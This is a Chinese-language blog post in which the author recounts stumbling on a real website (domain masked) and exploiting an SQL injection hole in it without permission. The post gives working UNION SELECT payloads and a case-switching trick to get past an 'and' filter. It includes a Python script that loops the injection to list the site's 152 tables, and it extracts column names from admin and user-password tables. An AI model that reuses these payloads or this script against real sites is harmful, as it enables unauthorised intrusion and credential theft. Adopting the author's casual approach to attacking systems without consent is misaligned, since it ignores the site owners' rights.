发现了一个jsp+mysql的注入点

发现注入点

不小心逛到了一个网站,看网址是古老的get传参,页面看着也不是cms,就用+1 -1试了一下,结果返回了不同的页面,这说明我发现了一个经典的注入漏洞。

开始游戏

通过/**/or/**/1=2试了一下返回正常页面,说明使用的mysql数据库

通过/**/order/**/by/**/10找到了文章表的字段数为10

/**/and/**/1=2/**/union/**/select/**/1,2,3,4,version(),user(),database(),8,9,10返回了空

我把id后的数值写成了负数,再加上/**/union/**/select/**/1,2,3,4,version(),user(),database(),8,9,10成功给出了数据库版本号,用户名,和数据库名三个信息

又试了一下,把and的大小写换了一下,一开始不能用的链接又可以查出信息了,说明有简单的过滤,把and过滤掉了,但是没有考虑大小写的情况

BaiduHi_2018-6-19_18-4-42.png

下一步就是使用mysql5的特有库去爆出所有的表名。

爆库名表名列名

所有数据库
/**/union/**/select/**/1,2,group_concat(SCHEMA_NAME),4,5,6,7,8,9,10 FROM information_schema.SCHEMATA

BaiduHi_2018-6-19_19-41-20.png

指定数据库的所有表
/**/union/**/select/**/1,2,group_concat(TABLE_NAME),4,5,6,7,8,9,10/**/FROM/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x66617a6869

BaiduHi_2018-6-19_19-43-14.png

因为有一部分表名没显示出来,所以用limit语法配合python写了个小工具

import requests
import re
for i in range(1,160):
    url = 'http://www.xxx.cn/article_show.jsp?f_article_id=1/**/union/**/select/**/1,2,TABLE_NAME,4,5,6,7,8,9,10%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA=0x66617a6869%20limit%20{},1'.format(i)
    text = requests.get(url).text
    result = re.findall('<div class="text-content">(.*?)</div>',text)
    print(result[0])

一共搞出来152张表,命名很混乱,可能有历史数据

先来看一下t_admin的列名和数据,由于不能使用单引号,所以把表名换成了16进制

union select 1,2,group_concat(column_name),4,5,6,7,8,9,10 from information_schema.columns where table_name=0x745f61646d696e

得到列名:

id,UserName,PassWord,LoginNum,IsLock,RoleId,ModiTime

os_login_user的列名:

os_login_user_id,user_name,user_password,LoginNum,IsLock,user_co,user_team,workjob,TeamAspect,name,Role_ID,tour_role,sale_role,user_role,company_type,mobile,tel,fax,email,msn,qqnum,last_ip,last_time,login_type,allot_order,result_order,transfer_order,order_search,edit_tourline_search,sale_tourline_search,extension,extension_pass,is_call,device,optional_order,locked_order,optional_order_num

但是没找到后台,就不了了之了

最后修改:2018 年 06 月 20 日 11 : 38 AM

发表评论